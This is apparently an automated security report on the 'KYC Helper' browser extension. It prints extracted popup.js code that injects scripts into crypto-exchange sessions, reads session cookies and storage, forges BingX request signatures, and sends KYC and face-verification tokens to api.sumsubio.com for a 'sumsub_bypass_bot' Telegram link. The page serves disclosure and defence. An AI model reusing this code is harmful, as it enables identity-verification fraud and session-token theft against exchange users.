Is KYC Helper safe?

High risk

KYC Helper reads exchange verification tokens and sends them to api.sumsubio.com to create Telegram bot links.

When opened on supported exchange pages, KYC Helper runs page scripts that request KYC or face-verification tokens from Bybit, MEXC, Bitexen, BingX, and Weex sessions. It posts those raw Sumsub or Onfido access tokens, along with the active tab hostname, to api.sumsubio.com/api/deeplink and uses the returned short ID in a Telegram bot link.

77Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

KYC tokens posted to Sumsub API for Telegram links

Clicking a Bybit or MEXC token button makes KYC Helper retrieve a verification token from the active page and send it, with the hostname, to api.sumsubio.com/api/deeplink.

The returned short ID builds a Telegram bot link.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You ask the extension to retrieve a Bybit or MEXC verification token.

This can be a KYC token, a face-verification token, or an Onfido token depending on the selected flow.

The extension did this

The extension sends the returned token to api.sumsubio.com and uses the response to prepare a Telegram bot link.

The forwarding happens automatically inside the token display path after a token is returned.

Fields assembled for the deeplink request
  • Token category
    sumsub_access_token

    This tells the remote service whether the value came from a Sumsub or Onfido verification flow.

  • Verification access token
    sbx_kyc_7f2e3b6c9a104c2b8d63f5a1 (illustrative)

    This value can open or continue the KYC or face-verification flow that the exchange issued for your session.

  • Active site hostname
    www.bybit.com (illustrative)

    This ties the token submission to the exchange site that was open when the button was clicked.

  • Deeplink API header
    X-API-Token: <redacted>

    The request includes a client API token for the deeplink service, separate from your exchange token.

Captured request
POSThttps://api.sumsubio.com/api/deeplink

The code expects JSON containing short_id and uses it in a Telegram bot URL.

Headers
X-API-Token
<redacted>
Content-Type
application/json
The code that does this

Token retrieval flows feed the same deeplink POST

Readable version

Deeplink POST and Telegram link construction

popup.js
  // API endpoint and token for shortening Sumsub access tokens  // This is a client-side API token intended for browser extension use  const DEEPLINK_API_URL = 'https://api.sumsubio.com/api/deeplink';  const DEEPLINK_API_TOKEN = '<redacted>'; // hardcoded client token redacted  async function shortenTokenInternal(paramType, paramValue) {    const tab = await getActiveTab();    const tabHost = tab?.url?.startsWith('http') ? new URL(tab.url).hostname : '';    const response = await fetch(DEEPLINK_API_URL, {      method: 'POST',      headers: {        'Content-Type': 'application/json',        'X-API-Token': DEEPLINK_API_TOKEN      },      body: JSON.stringify({        param_type: paramType,        param_value: paramValue,        host: tabHost      })    });        if (!response.ok) {      console.error(`Failed to shorten token: HTTP ${response.status} ${response.statusText}`);      throw new Error(`Failed to shorten token (HTTP ${response.status})`);    }        const data = await response.json();    if (!data.short_id) {      throw new Error('API response missing short_id');    }    return data.short_id;  }  async function shortenToken(accessToken) {    try {      return await shortenTokenInternal('sumsub_access_token', accessToken);    } catch (e) {      console.error('Token shortening error:', e);      throw e;    }  }  async function shortenOnfidoToken(token, url) {    try {      const paramValue = `${token},${url}`;      return await shortenTokenInternal('onfido_access_token', paramValue);    } catch (e) {      console.error('Onfido token shortening error:', e);      throw e;    }  }  async function makeBotLinkFromToken(rawToken) {    if (!rawToken) {      throw new Error('Token is required');    }    try {      const shortId = await shortenToken(rawToken);      return `https://t.me/sumsub_bypass_bot?start=TOKEN_${shortId}`;    } catch (e) {      console.error('Failed to create bot link:', e);      return null;    }  }  async function makeBotLinkFromOnfido(token, url) {    if (!token) {      throw new Error('Token is required');    }    try {      const shortId = await shortenOnfidoToken(token, url);      return `https://t.me/sumsub_bypass_bot?start=ONFIDO_${shortId}`;    } catch (e) {      console.error('Failed to create Onfido bot link:', e);      return null;    }

Bybit token fetcher injected into the page

popup.js
  async function inPageGetToken(baseOrigin, kycCountry) {    const postJsonRaw = async (url, body) => {      const res = await fetch(url, {        method: 'POST',        headers: { accept: 'application/json', 'content-type': 'application/json' },        credentials: 'include',        body: JSON.stringify(body ?? {})      });      const text = await res.text();      let data = null;      try { data = text ? JSON.parse(text) : null; } catch {}      if (!res.ok) {        const apiMsg = data?.ret_msg || data?.retMsg || data?.message || data?.msg;        throw new Error(`HTTP ${res.status} ${res.statusText}${apiMsg ? ` — ${apiMsg}` : ''}`);      }      return data;    };    const strictPostJson = async (url, body) => {      const data = await postJsonRaw(url, body);      const retCode = data?.ret_code ?? data?.retCode;      const retMsg = data?.ret_msg ?? data?.retMsg;      if (typeof retCode === 'number' && retCode !== 0) {        throw new Error(retMsg || `API ret_code=${retCode}`);      }      return data;    };    const getIpCountryCode = async () => {      try {        const r = await fetch(`${baseOrigin}/x-api/v3/private/kyc/get-supported-ip-country-code`, { credentials: 'include' });        if (!r.ok) throw new Error(`HTTP ${r.status}`);        const j = await r.json();        if ((j?.ret_code ?? j?.retCode) !== 0) throw new Error(j?.ret_msg || 'bad ret_code');        const code = (j?.result?.ipCountryCode || '').toUpperCase();        if (/^[A-Z]{2}$/.test(code)) return code;      } catch {}      return null;    };    // Submit questionnaire with fallback if ret_code == 10016    const submitQuestionnaireWithFallback = async (contentPrimary) => {      const url = `${baseOrigin}/x-api/v3/private/kyc/submit-questionnaire`;      // First attempt with IP-based country      let first = await postJsonRaw(url, {        biz_from: 'kyc_web',        template_code: '1',        content: contentPrimary      });      let firstRet = first?.ret_code ?? first?.retCode;      let firstMsg = first?.ret_msg ?? first?.retMsg;      if (typeof firstRet === 'number' && firstRet !== 0) {        if (firstRet === 1032) {          // Already submitted -> success          return { ok: true, usedFallback: false };        }        if (firstRet === 10016) {          // Need fallback with 'UA'          let second = await postJsonRaw(url, {            biz_from: 'kyc_web',            template_code: '1',            content: 'UA'          });            let secondRet = second?.ret_code ?? second?.retCode;          let secondMsg = second?.ret_msg ?? second?.retMsg;          if (typeof secondRet === 'number' && secondRet !== 0 && secondRet !== 1032) {            throw new Error(secondMsg || `API ret_code=${secondRet}`);          }          return { ok: true, usedFallback: true };        }        // Any other error        throw new Error(firstMsg || `API ret_code=${firstRet}`);      }      // Success on first attempt      return { ok: true, usedFallback: false };    };    try {      const kycInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/kyc-info`, {        obtain_kyc_token: false,        obtain_current: true,        obtain_quotas: false,        obtain_state: false,        obtain_verification_process: true      });      const level = kycInfo?.result?.kycLevel;      if (level === 'LEVEL_1') {        const applicant = kycInfo?.result?.applicant          ? {              country: kycInfo.result.applicant.country || '',              firstname: kycInfo.result.applicant.firstname || '',              lastname: kycInfo.result.applicant.lastname || ''            }          : null;        return { ok: true, status: 'kyc_completed', applicant };      }      const _vp = kycInfo?.result?.verificationProcess;      const _panActive = !!(_vp?.tasks?.some(t =>        t.subTasks?.some(st => st.subTaskName === 'kyc-pan' && st.subTaskState === 'VerifySubTaskState_Active')      ));      if (_panActive) {        const panSdkInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/get-verification-sdk-info`, {          country: 'IN',          announced: true,          extra_params: { poi_entry_mode: 'MODE_MANUAL' },          verify_type: 'VerifyType_PAN'        });        const panToken = panSdkInfo?.result?.kycToken || '';        return { ok: true, status: 'pan_token', token: panToken };      }      if (level !== 'LEVEL_DEFAULT' && level !== 'LEVEL_0') {        return { ok: false, errorMessage: `Unexpected kycLevel: ${String(level)}` };      }      const _rawCountry = (await getIpCountryCode()) || 'UA';      const _EU_US = new Set(['US','AT','BE','BG','HR','CY','CZ','DK','EE','FI','FR','DE','GR','HU','IE','IT','LV','LT','LU','MT','NL','PL','PT','RO','SK','SI','ES','SE']);      const ipCountry = _EU_US.has(_rawCountry) ? 'UA' : _rawCountry;      await submitQuestionnaireWithFallback(ipCountry);      await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/kyc-info`, {        obtain_aml_questionnaire: true,        obtain_current: true,        obtain_state: true,        obtain_verification_process: true,        obtain_quotas: true,      });      const sdkInfo = await strictPostJson(`${baseOrigin}/x-api/v3/private/kyc/get-verification-sdk-info`, {        country: kycCountry || 'LK',        doc_type: 'KYC_DOC_TYPE_ID',        announced: true      });      const provider = sdkInfo?.result?.provider;      if (provider === 'PROVIDER_SUMSUB') {        const token = sdkInfo?.result?.kycToken || '';        return { ok: true, status: 'kyc_token', token, provider };      }      if (provider === 'PROVIDER_JUMIO_NEW') {        const url = sdkInfo?.result?.sdkUrl || '';        return { ok: true, status: 'jumio_url', url, provider };      }      if (provider === 'PROVIDER_ONFIDO') {        const ti = sdkInfo?.result?.tokenInfo || {};        return { ok: true, status: 'onfido_token', token: ti.token || '', workflowRunId: ti.workflowRunId || '', provider };      }      return { ok: true, status: 'unsupported_provider', provider: provider || 'UNKNOWN' };    } catch (e) {      return { ok: false, errorMessage: e?.message || String(e) };    }  }

MEXC KYC token fetcher injected into the page

popup.js
  async function inPageGetMexcToken() {    // Hardcoded values since this function is injected into page context    const MEXC_COUNTRY_CODE = 'UA';    const MEXC_CARD_TYPE = '2';        const postJson = async (url, body, headers = {}) => {      const res = await fetch(url, {        method: 'POST',        headers: {          'accept': '*/*',          'accept-language': 'ru',          'content-type': 'application/json',          'language': 'ru-RU',          ...headers        },        credentials: 'include',        body: body ? JSON.stringify(body) : null      });      const text = await res.text();      let data = null;      try { data = text ? JSON.parse(text) : null; } catch {}      if (!res.ok) {        const apiMsg = data?.message || data?.msg;        throw new Error(`HTTP ${res.status} ${res.statusText}${apiMsg ? ` — ${apiMsg}` : ''}`);      }      if (!data?.success || data?.code !== 0) {        const apiMsg = data?.message || data?.msg || 'API request failed';        throw new Error(apiMsg);      }      return data;    };    try {      // Step 1: Initialize KYC and get recordId and applicantId      const initUrl = `${window.location.origin}/ucenter/api/kyc_senior/self_init?countryCode=${MEXC_COUNTRY_CODE}&cardType=${MEXC_CARD_TYPE}`;      const initData = await postJson(initUrl, null);            const recordId = initData?.data?.recordId;      const applicantId = initData?.data?.applicantId;            if (!recordId || !applicantId) {        throw new Error('Failed to get recordId or applicantId');      }      // Step 2: Get access token      const tokenUrl = `${window.location.origin}/ucenter/api/kyc_senior/access_token`;      const tokenData = await postJson(tokenUrl, {        countryCode: MEXC_COUNTRY_CODE,        cardType: MEXC_CARD_TYPE,        recordId: recordId,        applicantId: applicantId      });      const accessToken = tokenData?.data?.accessToken;            if (!accessToken) {        throw new Error('Failed to get access token');      }      return { ok: true, token: accessToken };    } catch (e) {      return { ok: false, errorMessage: e?.message || String(e) };    }  }

Bybit token UI forwards returned tokens

popup.js
  async function showTokenUI(token, directUrl = null, onfidoUrl = null) {    tokenFieldEl.value = directUrl || token;    tokenRowEl.hidden = false;    copyBtnEl.disabled = !(directUrl || token);    if (directUrl) {      // JUMIO_NEW: open the SDK url directly, no token shortening      botLinkHref = directUrl;      botBtnEl.disabled = false;      botBtnEl.textContent = 'Open URL';      return;    }    if (token) {      botBtnEl.disabled = true;      botBtnEl.textContent = 'Loading...';      try {        botLinkHref = onfidoUrl !== null          ? await makeBotLinkFromOnfido(token, onfidoUrl)          : await makeBotLinkFromToken(token);        if (botLinkHref) {          botBtnEl.disabled = false;          botBtnEl.textContent = 'Get Link';        } else {          botBtnEl.disabled = true;          botBtnEl.textContent = 'Error';          setStatus('Token obtained but link generation failed. Check console for details.', 'warn');        }      } catch (e) {        botBtnEl.disabled = true;        botBtnEl.textContent = 'Error';        setStatus(`Token obtained but link generation failed: ${e.message}`, 'warn');      }    } else {      botBtnEl.disabled = true;      botLinkHref = null;    }  }

MEXC token UI forwards returned tokens

popup.js
  async function showMexcTokenUI(token) {    mexcTokenFieldEl.value = token;    mexcTokenRowEl.hidden = false;    mexcCopyBtnEl.disabled = !token;        if (token) {      mexcBotBtnEl.disabled = true;      mexcBotBtnEl.textContent = 'Loading...';            try {        mexcBotLinkHref = await makeBotLinkFromToken(token);                if (mexcBotLinkHref) {          mexcBotBtnEl.disabled = false;          mexcBotBtnEl.textContent = 'Get Link';        } else {          mexcBotBtnEl.disabled = true;          mexcBotBtnEl.textContent = 'Error';          setMexcStatus('Token obtained but link generation failed. Check console for details.', 'warn');        }      } catch (e) {        mexcBotBtnEl.disabled = true;        mexcBotBtnEl.textContent = 'Error';        setMexcStatus(`Token obtained but link generation failed: ${e.message}`, 'warn');      }    } else {      mexcBotBtnEl.disabled = true;      mexcBotLinkHref = null;    }  }

MEXC face-token UI handlers forward returned tokens

popup.js
  async function showMexcRiskFaceTokenUI(token, isAAI = false) {    mexcRiskFaceIsAAI = isAAI;    mexcRiskFaceTokenFieldEl.value = token;    mexcRiskFaceTokenRowEl.hidden = false;    mexcRiskFaceCopyBtnEl.disabled = !token;    if (!token) {      mexcRiskFaceBotBtnEl.disabled = true;      mexcRiskFaceBotBtnEl.textContent = 'Get Link';      mexcRiskFaceBotLinkHref = null;      return;    }    if (isAAI) {      // For AdvancedAAI — the token field holds the URL; open it directly      mexcRiskFaceBotLinkHref = token;      mexcRiskFaceBotBtnEl.disabled = false;      mexcRiskFaceBotBtnEl.textContent = 'Open Link';    } else {      mexcRiskFaceBotBtnEl.disabled = true;      mexcRiskFaceBotBtnEl.textContent = 'Loading...';      try {        mexcRiskFaceBotLinkHref = await makeBotLinkFromToken(token);        if (mexcRiskFaceBotLinkHref) {          mexcRiskFaceBotBtnEl.disabled = false;          mexcRiskFaceBotBtnEl.textContent = 'Get Link';        } else {          mexcRiskFaceBotBtnEl.disabled = true;          mexcRiskFaceBotBtnEl.textContent = 'Error';          setMexcRiskFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn');        }      } catch (e) {        mexcRiskFaceBotBtnEl.disabled = true;        mexcRiskFaceBotBtnEl.textContent = 'Error';        setMexcRiskFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn');      }    }  }  async function showMexcWithdrawFaceTokenUI(token) {    mexcWithdrawFaceTokenFieldEl.value = token;    mexcWithdrawFaceTokenRowEl.hidden = false;    mexcWithdrawFaceCopyBtnEl.disabled = !token;    if (token) {      mexcWithdrawFaceBotBtnEl.disabled = true;      mexcWithdrawFaceBotBtnEl.textContent = 'Loading...';      try {        mexcWithdrawFaceBotLinkHref = await makeBotLinkFromToken(token);        if (mexcWithdrawFaceBotLinkHref) {          mexcWithdrawFaceBotBtnEl.disabled = false;          mexcWithdrawFaceBotBtnEl.textContent = 'Get Link';        } else {          mexcWithdrawFaceBotBtnEl.disabled = true;          mexcWithdrawFaceBotBtnEl.textContent = 'Error';          setMexcWithdrawFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn');        }      } catch (e) {        mexcWithdrawFaceBotBtnEl.disabled = true;        mexcWithdrawFaceBotBtnEl.textContent = 'Error';        setMexcWithdrawFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn');      }    } else {      mexcWithdrawFaceBotBtnEl.disabled = true;      mexcWithdrawFaceBotLinkHref = null;    }  }  async function showMexcSecurityFaceTokenUI(token) {    mexcSecurityFaceTokenFieldEl.value = token;    mexcSecurityFaceTokenRowEl.hidden = false;    mexcSecurityFaceCopyBtnEl.disabled = !token;    if (!token) {      mexcSecurityFaceBotBtnEl.disabled = true;      mexcSecurityFaceBotBtnEl.textContent = 'Get Link';      mexcSecurityFaceBotLinkHref = null;      return;    }    mexcSecurityFaceBotBtnEl.disabled = true;    mexcSecurityFaceBotBtnEl.textContent = 'Loading...';    try {      mexcSecurityFaceBotLinkHref = await makeBotLinkFromToken(token);      if (mexcSecurityFaceBotLinkHref) {        mexcSecurityFaceBotBtnEl.disabled = false;        mexcSecurityFaceBotBtnEl.textContent = 'Get Link';      } else {        mexcSecurityFaceBotBtnEl.disabled = true;        mexcSecurityFaceBotBtnEl.textContent = 'Error';        setMexcSecurityFaceStatus('Token obtained but link generation failed. Check console for details.', 'warn');      }    } catch (e) {      mexcSecurityFaceBotBtnEl.disabled = true;      mexcSecurityFaceBotBtnEl.textContent = 'Error';      setMexcSecurityFaceStatus(`Token obtained but link generation failed: ${e.message}`, 'warn');    }  }

Bybit click handler injects the token fetcher

popup.js
  async function getToken() {    resetTokenUI();    try {      await ensureContext();    } catch (e) {      setStatus(e.message, 'warn');      await sendOverlay({ severity: 'warning', message: e.message });      return;    }    setStatus('Fetching provider and token…');    getTokenBtnEl.disabled = true;    checkBtnEl.disabled = true;    try {      const inj = await chrome.scripting.executeScript({        target: { tabId: lastTabId },        world: 'MAIN',        func: inPageGetToken,        args: [lastBaseOrigin, kycCountrySelectEl.value || 'LK']      });      const result = inj?.[0]?.result;      if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error');      if (result.status === 'unsupported_provider') {        const msg = `Provider not supported: ${result.provider}`;        setStatus(msg, 'warn');        await sendOverlay({ severity: 'warning', message: msg });        return;      }      if (result.status === 'kyc_completed') {        setStatus('KYC COMPLETED. Token not required.', 'ok');        await sendOverlay({ severity: 'success', message: 'KYC COMPLETED. Token not required.' });        return;      }      if (result.status === 'kyc_token') {        const token = result.token || '';        const hasToken = Boolean(token);        const msg = hasToken ? providerHint(result.provider) : 'Token is empty.';        setStatus(msg, hasToken ? 'ok' : 'warn');        if (hasToken) {          await showTokenUI(token);          const receivedAt = Date.now();          await saveToken(token);          startTokenCountdown(receivedAt);        } else {          expireTokenUI();        }        await sendOverlay({          severity: hasToken ? 'success' : 'warning',          message: msg,          token        });        return;      }      if (result.status === 'jumio_url') {        const url = result.url || '';        const hasUrl = Boolean(url);        const msg = hasUrl ? providerHint(result.provider) : 'JUMIO URL is empty.';        setStatus(msg, hasUrl ? 'ok' : 'warn');        if (hasUrl) {          await showTokenUI('', url);        } else {          expireTokenUI();        }        await sendOverlay({          severity: hasUrl ? 'success' : 'warning',          message: msg,          token: url        });        return;      }      if (result.status === 'onfido_token') {

MEXC click handler injects the token fetcher

popup.js
  async function getMexcToken() {    expireMexcTokenUI();    try {      await ensureMexcContext();    } catch (e) {      setMexcStatus(e.message, 'warn');      return;    }    // First, check KYC status    setMexcStatus('Checking MEXC KYC status…');    getMexcTokenBtnEl.disabled = true;    checkMexcBtnEl.disabled = true;    try {      const statusInj = await chrome.scripting.executeScript({        target: { tabId: lastTabId },        world: 'MAIN',        func: inPageCheckMexcStatus,        args: []      });      const statusResult = statusInj?.[0]?.result;      if (!statusResult?.ok) throw new Error(statusResult?.errorMessage || 'Unknown error');      lastMexcAuthLevel = statusResult.authLevel || null;      // authLevel=1 - no kyc (can get token)      // authLevel=2 - Primary KYC (can get token)      // authLevel=3 - advanced kyc - KYC completed, cannot get token      const authLevel = String(statusResult.authLevel);      if (authLevel === '3') {        const msg = formatMexcCompletedMessage(statusResult.authRealName, statusResult.country);        setMexcStatus(msg, 'ok');        getMexcTokenBtnEl.disabled = true;        checkMexcBtnEl.disabled = false;        return;      }      // For authLevel 1 (No KYC) or 2 (Primary KYC), proceed with token fetching      setMexcStatus('Fetching MEXC token…');      const inj = await chrome.scripting.executeScript({        target: { tabId: lastTabId },        world: 'MAIN',        func: inPageGetMexcToken,        args: []      });      const result = inj?.[0]?.result;      if (!result?.ok) throw new Error(result?.errorMessage || 'Unknown error');      const token = result.token || '';      const hasToken = Boolean(token);      const msg = hasToken ? 'Token obtained.' : 'Token is empty.';      setMexcStatus(msg, hasToken ? 'ok' : 'warn');      if (hasToken) {        await showMexcTokenUI(token);        const receivedAt = Date.now();        await saveMexcToken(token);        startMexcTokenCountdown(receivedAt);      } else {        expireMexcTokenUI();      }    } catch (e) {      setMexcStatus(e.message || String(e), 'err');    } finally {      getMexcTokenBtnEl.disabled = false;      checkMexcBtnEl.disabled = false;    }  }
External services reached by the token-sharing flow
    • api.sumsubio.com

    Receives the token category, the exchange verification token, and the active exchange hostname for deeplink creation.

    • t.me

    Receives the user when the returned short ID is opened as a sumsub_bypass_bot Telegram start link.

Other-exchange mode forwards verification tokens

The popup has an Other exchange mode for Bitexen, BingX, and Weex, though the manifest names only Bybit and MEXC.

Get token there gets a token from cookies or storage and sends it to api.sumsubio.com/api/deeplink.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the popup's Other exchange mode on a Bitexen, BingX, or Weex page.

The mode is exposed in the popup UI and auto-selected for matching active-tab hostnames.

The extension did this

The extension injects an exchange-specific token helper and forwards the resulting verification token to the Sumsub deeplink API.

BingX and Weex paths also read cookies or browser storage values to build their exchange API requests.

Data used or sent by the Other exchange flow
  • Selected exchange hostname
    www.bingx.com (illustrative)

    This determines which page helper runs and ties the action to the exchange tab you opened.

  • Verification access token
    sumsub_token_8b7f6c3a2d914e50 (illustrative)

    This value can open or continue the Sumsub verification flow issued for your exchange session.

  • BingX session cookies
    uuid=5c4f2e8a9d1b43a6; anti_device_id=ad7c91f23e; user_token=eyJhbGciOiJIUzI1NiJ9 (illustrative)

    These values identify the browser session used to sign and authorize BingX KYC requests.

  • Weex terminal identifier
    weex:terminalCode=ae7517d3f70939e37ebd1b01b3ff06ff

    This browser storage value helps form the Weex token request from your current browser profile.

  • Deeplink hostname field
    bingx.com (illustrative)

    The forwarded request includes the active site hostname along with the token.

Captured request
POSThttps://api.sumsubio.com/api/deeplink

The code expects JSON containing short_id and enables the popup's Get Link button when the bot URL is built.

Headers
X-API-Token
<redacted>
Content-Type
application/json
The code that does this

Other exchange helpers collect tokens and call the same shortener

Readable version

Manifest scopes do not list Bitexen, BingX, or Weex host permissions

manifest.json
{  "update_url": "https://clients2.google.com/service/update2/crx",  "manifest_version": 3,  "name": "KYC Helper",  "description": "Fetches KYC tokens from Bybit and MEXC.",  "version": "1.28.0",  "permissions": [    "activeTab",    "storage",    "scripting"  ],  "host_permissions": [    "https://*.bybit.com/*",    "https://*.bybitglobal.com/*",    "https://*.bybit.global/*",    "https://*.bytick.com/*",    "https://api.sumsubio.com/*",    "https://www.mexc.com/*",    "https://*.mexc.fm/*"  ],  "icons": {    "16":  "icons/icon16.png",    "32":  "icons/icon32.png",    "48":  "icons/icon48.png",    "128": "icons/icon128.png"  },  "action": {    "default_title": "Get KYC Token",    "default_popup": "popup.html",    "default_icon": {      "16":  "icons/icon16.png",      "32":  "icons/icon32.png",      "48":  "icons/icon48.png",      "128": "icons/icon128.png"    }  },  "content_scripts": [    {      "matches": [        "https://*.bybit.com/*",        "https://*.bybitglobal.com/*",        "https://*.bybit.global/*",        "https://*.bytick.com/*",        "https://*.mexc.com/*",        "https://*.mexc.fm/*"      ],      "js": ["content.js"],      "run_at": "document_idle"    }  ]}

Other exchange UI exposes Bitexen, BingX, and Weex

popup.html
  <!-- ═══ OTHER ═══ -->  <div id="otherContent" class="tab-content">    <div class="exchange-select" id="otherExchangeSelect" data-value="bitexen">      <button class="exchange-select-trigger" type="button" aria-haspopup="listbox">        <div class="exchange-select-info">          <span class="exchange-select-name" id="otherExchangeSelectName">Bitexen</span>          <span class="exchange-select-url" id="otherExchangeSelectUrl">bitexen.com</span>        </div>        <svg class="exchange-select-arrow" width="12" height="12" viewBox="0 0 12 12" fill="none">          <path d="M2 4.5L6 8.5L10 4.5" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>        </svg>      </button>      <div class="exchange-dropdown" id="otherExchangeDropdown" hidden role="listbox">        <div class="exchange-option selected" data-value="bitexen" role="option">          <span class="exchange-option-name">Bitexen</span>          <span class="exchange-option-url">bitexen.com</span>        </div>        <div class="exchange-option" data-value="bingx" role="option">          <span class="exchange-option-name">BingX</span>          <span class="exchange-option-url">bingx.com</span>        </div>        <div class="exchange-option" data-value="weex" role="option">          <span class="exchange-option-name">Weex</span>          <span class="exchange-option-url">weex.com</span>        </div>      </div>    </div>    <div id="otherStatus" style="margin-top:9px;">Select an exchange and click "Get token".</div>    <div id="otherTokenRow" class="field-block" hidden>      <input id="otherTokenField" class="token" type="text" readonly placeholder="Token…" />      <button id="otherGetLinkBtn" class="btn-compact-primary" disabled>Get Link</button>      <button id="otherCopyBtn" class="btn-compact" disabled>Copy</button>    </div>    <div class="actions">      <button id="getOtherTokenBtn">Get token</button>

Bitexen page helper returns verification_token

popup.js
  // In-page: fetch Bitexen sumsub token  async function inPageBitexenGetToken(baseOrigin) {    try {      const res = await fetch(`${baseOrigin}/p/v1/user/verification/provider/start/`, {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        credentials: 'include',        body: JSON.stringify({})      });      const data = await res.json();      if (data?.status === 'success' && data?.data?.verification_token) {        return { ok: true, token: data.data.verification_token };      }      return { ok: false, errorMessage: data?.message || `HTTP ${res.status}` };    } catch (e) {      return { ok: false, errorMessage: e.message };    }  }

BingX page helper reads cookies and signs KYC requests

popup.js
  // In-page: fetch BingX sumsub token (two-step) with request signing  async function inPageBingXGetToken(baseOrigin) {    try {      const getCookie = name => {        const m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)'));        return m ? decodeURIComponent(m[1]) : '';      };      const deviceId    = getCookie('uuid') || '';      const antiDeviceId = getCookie('anti_device_id') || '';      const userToken   = getCookie('user_token') || '';      const platformId  = '30';      const appVersion  = '5.3.9';      const sha256upper = async str => {        const buf = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(str));        return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('').toUpperCase();      };      const genTraceId = () => crypto.randomUUID().replace(/-/g, '');      // fast-json-stable-stringify (sort keys deterministically)      const stableStr = obj => {        if (typeof obj !== 'object' || obj === null) return JSON.stringify(obj);        if (Array.isArray(obj)) return '[' + obj.map(stableStr).join(',') + ']';        return '{' + Object.keys(obj).sort().map(k => JSON.stringify(k) + ':' + stableStr(obj[k])).join(',') + '}';      };      // Mirror getSignContent from BingX frontend      const buildSignContent = (timestamp, traceId, payload) => {        const key = '95d65c73dc5c4370ae9018fb7f2eab69';        let c = '{}';        if (payload && JSON.stringify(payload) !== '{}') {          // convert numbers/booleans to strings (mirrors getSignContentByObject)          const convert = o => {            const r = {};            for (const k of Object.keys(o)) {              const v = o[k];              if (v === null || v === undefined || (typeof v === 'number' && isNaN(v))) continue;              if (typeof v === 'number') r[k] = String(v).toUpperCase();              else if (typeof v === 'boolean') r[k] = String(v);              else r[k] = v;            }            return r;          };          c = stableStr(convert(payload));        }        return `${key}${timestamp}${traceId}${deviceId}${platformId}${appVersion}${antiDeviceId}${c}`;      };      const buildHeaders = async (timestamp, traceId, payload) => {        const content = buildSignContent(timestamp, traceId, payload);        const sign = await sha256upper(content);        return {          'Content-Type': 'application/json',          'timestamp': String(timestamp),          'traceid': traceId,          'traceparent': `00-${traceId}-${genTraceId().slice(0, 16)}-01`,          'sign': sign,          'device_id': deviceId,          'antideviceid': antiDeviceId,          'authorization': userToken ? `Bearer ${userToken}` : '',          'platformid': platformId,          'app_version': appVersion,          'appid': '30004',          'mainappid': '10009',          'appsiteid': '0',          'channel': 'official',          'reg_channel': 'official',          'lang': 'en',          'x-requested-with': 'XMLHttpRequest',        };      };      const post = async (url, body) => {        const timestamp = Date.now();        const traceId = genTraceId();        const payload = body || {};        const headers = await buildHeaders(timestamp, traceId, payload);        const res = await fetch(url, {          method: 'POST',          headers,          credentials: 'include',          body: body ? JSON.stringify(body) : undefined        });        return res.json();      };      const step1 = await post(`${baseOrigin}/api/user-service/v1/kyc/get-verification-type`);      if (step1?.code !== 0) return { ok: false, errorMessage: step1?.msg || 'Step 1 failed' };      const { allocateResult, verificationType } = step1.data;      const step2Body = { bizType: 1, sourceType: '', verificationThirdType: verificationType, allocateResult };      const step2 = await post(`${baseOrigin}/api/user-service/v1/kyc/init-verification`, step2Body);      if (step2?.code !== 0) return { ok: false, errorMessage: step2?.msg || 'Step 2 failed' };      const token = step2?.data?.extraInfo?.sumsub?.token;      if (!token) return { ok: false, errorMessage: 'No sumsub token in response' };      return { ok: true, token };    } catch (e) {      return { ok: false, errorMessage: e.message };    }  }

Weex page helper reads cookie and localStorage values

popup.js
  // In-page: fetch Weex sumsub token  // eslint-disable-next-line no-unused-vars  async function inPageWeexGetToken(_baseOrigin) {    try {      // Compact MD5 (pure JS, no external deps)      const md5 = s => {        const sa = (x, y) => { const l = (x & 0xffff) + (y & 0xffff); return ((x >> 16) + (y >> 16) + (l >> 16)) << 16 | l & 0xffff; };        const rl = (n, c) => n << c | n >>> 32 - c;        const cm = (q, a, b, x, s, t) => sa(rl(sa(sa(a, q), sa(x, t)), s), b);        const ff = (a,b,c,d,x,s,t) => cm(b & c | ~b & d, a, b, x, s, t);        const gg = (a,b,c,d,x,s,t) => cm(b & d | c & ~d, a, b, x, s, t);        const hh = (a,b,c,d,x,s,t) => cm(b ^ c ^ d, a, b, x, s, t);        const ii = (a,b,c,d,x,s,t) => cm(c ^ (b | ~d), a, b, x, s, t);        const n = s.length;        const pl = n % 64 < 56 ? 56 - n % 64 : 120 - n % 64;        const p = new Uint8Array(n + pl + 8);        for (let i = 0; i < n; i++) p[i] = s.charCodeAt(i);        p[n] = 0x80;        let bl = n * 8;        for (let i = 0; i < 4; i++) { p[n + pl + i] = bl & 0xff; bl >>= 8; }        let a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476;        const M = new Int32Array(16);        for (let o = 0; o < p.length; o += 64) {          for (let i = 0; i < 16; i++) M[i] = p[o+i*4] | p[o+i*4+1] << 8 | p[o+i*4+2] << 16 | p[o+i*4+3] << 24;          let A = a, B = b, C = c, D = d;          a=ff(a,b,c,d,M[0],7,-680876936);d=ff(d,a,b,c,M[1],12,-389564586);c=ff(c,d,a,b,M[2],17,606105819);b=ff(b,c,d,a,M[3],22,-1044525330);          a=ff(a,b,c,d,M[4],7,-176418897);d=ff(d,a,b,c,M[5],12,1200080426);c=ff(c,d,a,b,M[6],17,-1473231341);b=ff(b,c,d,a,M[7],22,-45705983);          a=ff(a,b,c,d,M[8],7,1770035416);d=ff(d,a,b,c,M[9],12,-1958414417);c=ff(c,d,a,b,M[10],17,-42063);b=ff(b,c,d,a,M[11],22,-1990404162);          